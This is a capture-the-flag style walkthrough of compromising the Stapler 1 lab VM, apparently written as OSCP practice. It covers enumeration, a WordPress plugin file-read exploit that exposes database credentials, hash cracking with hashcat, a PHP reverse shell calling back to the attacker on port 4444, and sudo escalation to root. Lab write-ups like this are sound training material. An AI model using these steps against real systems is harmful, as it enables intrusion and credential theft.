Stapler 1

Stapler 1 is a vulnerable machine found on the NetSecFocus Trophy Room list which I have been using as preparation for the OSCP. Below is a walkthrough to compromise this machine.

First, after downloading and importing the machine into VMware, I had to figure out the IP address of the machine. I used netdiscover -i eth0 until I came across the IP of this machine.

Stapler 1 netdiscover

Next, I ran threader3000 to enumerate the open ports and let it run it’s recommended nmap scan.

Stapler 1 threader3000

Stapler 1 nmap1

Stapler 1 nmap2

It appeared that FTP access was open to the anonymous user, so I connected with ftp [machine ip] and entered the user of anonymous and a blank password. Once connected, I ran ls to list the directory contents, which had a note file present. I ran get note to download this note file locally.

Stapler 1 ftp

Next, I reviewed the note’s content with cat note.

Stapler 1 cat note

Next, I ran nmap –script smb-enum-shares -p 139 [machine ip] to enumerate the SMB shares.

Stapler 1 nmap enumerate smb shares

It appears that the anonymous user has read access to \kathy and read/write access to \tmp. I ran smbclient \\\\[machine ip]\\kathy -U “” to connect to kathy’s share. I then ran ls, which showed directories of kathy_stuff and backup. I then ran cd kathy_stuff followed by ls and saw that there is a file named todo-list.txt present. I ran **mget *** to download this file. I then ran cd .. followed by cd backup and another ls. This showed two files present, vsftpd.conf and wordpress-4.tar.gz. I then ran **mget *** to download these files as well.

Stapler 1 smbclient \kathy

None of these files had anything important in them, as the ftp/WordPress files were default files, and the todo-list.txt didn’t really have anything useful in it either. Next, I looked at the webpage on port 80, which had nothing present on it, I then looked at the website hosted on port 12380, which had a coming soon page present. I decided to run nikto -host http://[machine ip]:12380 to enumerate this host. It found that the site uses SSL and two entries in the robots.txt file on the HTTPS site: /admin112233/ and /blogblog/.

Stapler 1 nikto

Looking at the /admin112233 directory redirected to another website mentioning XSS so I made note of that in case it was a hint needed for later. Next, I navigated to https://[machine ip]:12380/blogblog/ and it appeared to be a WordPress blog.

Stapler 1 WordPress site

Next I ran wpscan –url https://[machine ip]:12380/blogblog –disable-tls-checks. This uncovered the fact that the uploads directory lists its contents.

Stapler 1 wpscan 1

Stapler 1 wpscan 2

Let’s go to https://[machine ip]:12380/blogblog/wp-content/uploads. It appears that nothing is in this directory, but we can go up to its parent directory.

Stapler 1 /blogblog/wp-content/uploads

Navigating up a directory reveals a plugins directory, let’s see what is in there.

Stapler 1 plugins directory

It appears that there are several plugins here. Let’s take a look at the advanced-vdieo-embed-embed-videos-or-playlists directory.

Stapler 1 plugin directory

From here, let’s look at the readme.txt file.

Stapler 1 readme.txt

It appears that this is version 1.0 of this plugin, which has an exploit available. A quick Google search reveals exploit ID 39646.

Stapler 1 exploit-db 39646

From your attacker PC, run searchsploit 39646, which should return the results shown below.

Stapler 1 searchsploit

Let’s run searchsploit - m 39646 to copy this exploit to our current directory.

Stapler 1 searchsploit -m

I then opened the exploit it an editor and modified the url variable to point to “https://[machine ip]:12380/blogblog” and saved the exploit.

Stapler 1 modify 39646 exploit

Stapler 1 exploit failed

The exploit seems to have failed because it could not verify the certificate. I decided to review the code of the exploit again.

Stapler 1 exploit code

This is where I found the highlighted section above. I modified it by replacing the ’ +str(randomID) + ‘ portion with several 7s (I don’t think the value matters) and then copied this URL string (as shown below). This will save the wp-config.php file to a .jpeg file.

Stapler 1 exploit URL

I then copied/pasted this value into my browser to run this exploit code.

![Stapler 1 new post](/assets/img/

After running it, I went to the main webpage of the website as directed by the exploit. It created a post named 7777777 (which is the title we modified in the exploit above). It also created an image named [random number].jpg)

Stapler 1 /blogblog/wp-content/uploads

I navigated to /blogblog/wp-content/uploads and the jpeg file was present there. I saved it locally as [file name].txt.

Stapler 1 save jpeg

I then opened the file with Mousepad on my attacker PC

Stapler 1 wp-config.php 1

Stapler 1 wp-config.php 2

Scrolling through the config led us to the login credentials for MySQL. This port was also accessible externally based on the nmap scan earlier. Let’s run mysql -u root -h [machine ip] -p and enter the password above when prompted.

Stapler 1 remote mysql login

Let’s run show databases; to list the databases on the server and then use use wordpress; to select the WordPress table. Next, let’s run show tables; to list the tables in the database.

Stapler 1 enumerate mysql 1

Let’s next run select * from wp_users; and you will get a huge list of users/password hashes as shown below.

Stapler 1 enumerate mysql 2

Let’s slightly modify our query to select user_login,user_pass from wp_users; to only get the usernames and password hashes.

Stapler 1 mysql wp_user modified query

Next, let’s copy this and save the hashes only to a text file on your attacker pc. I saved it as wphashes.txt.

Stapler 1 wordpress hashes

Let’s run hashcat to crack these hashes with hashcat -m 4000 -a 0 wphashes.txt /usr/share/wordlists/rockyou.txt.

Stapler 1 hashcat

After a bit, it cracked a few of the passwords.

Stapler 1 hashcat results

I lined these hashes/passwords up with the list we had copied over originally and was able to login as 4 different users, but none of them were an administrator. I then remembered that usually the first user listed was the admin, so I modified wp-hashes.txt to only have that hash present and reran hashcat -m 4000 -a 0 wphashes.txt /usr/share/wordlists/rockyou.txt. After a few minutes, it cracked this user’s (john) password.

Stapler 1 hashcat john password crack

Below are a list of the users and passwords that were cracked. I tried to SSH into the target machine with all of these usernames/passwords, but none were successful.

Stapler 1 wordpress users/passwords

I then logged in with John’s credentials for WordPress, and he is an administrator. I clicked on Plugins, Add New and then Browse so I could upload a reverse PHP shell. I modified this shell to point to my attacker PC’s IP address and a port of my choosing (4444). Once modified, I saved it and uploaded it.

Stapler 1 Wordpress Plugins

The screen below came up after uploading the PHP shell. I ignored this as we do not need to configure anything.

Stapler 1 upload complete

From my attacker PC, I started a nc listener with nc -nvlp 4444 (as this was the port I had specified in the reverse shell to connect on).

Stapler 1 nc listener

I knew that files typically got uploaded to /wp-content/uploads under the base WordPress site URL, so I navigated there. We could see a directory listing, which had the reverse shell we just uploaded. I clicked on this file to execute the reverse shell.

Stapler 1 /blogblog/wp-content/uploads

At this point we finally had a foothold. Running whoami revealed we have access as user www-data

Stapler 1 foothold www-data

Next, I upgraded my shell with python -c ‘import pty; pty.spawn("/bin/sh")’.

Stapler 1 upgrade shell Python

Next, I served up a python http server on my attacker PC with python3 -m http.server so we could retrieve to enumerate this box further. From the initial foothold, I ran cd /tmp followed by wget http://[attacker ip]:8000/ and then made it executable with chmod +x

Stapler 1 cd /tmp wget

I then ran with ./ and reviewed the results.

Stapler 1 1

Stapler 1 2

Stapler 1 3

The Linux kernel seemed exploitable based on linpeas, and a quick look at searchsploit confirmed several potential exploits that could work. However, before digging into each of those, I noticed that peter was a member of the sudo group and JKanode’s .bash_history file had an ssh password present. I ran su peter and entered the password found above (JZQuyIN5) and now I had access as peter. I was then prompted with setting up Z Shell, so I selected options 1 followed by 0 to complete setup.

Stapler 1 su peter z shell 1

Stapler 1 su peter z shell 2

Next, I ran sudo -l and it appears that peter can run anything as root.

Stapler 1 sudo -l

I then ran sudo su followed by whoami to confirm I had root access. Next, I ran cd /root followed by ls and there is a flag.txt file present. I ran cat flag.txt to get the root flag and finish this box.

Stapler 1 sudo su root access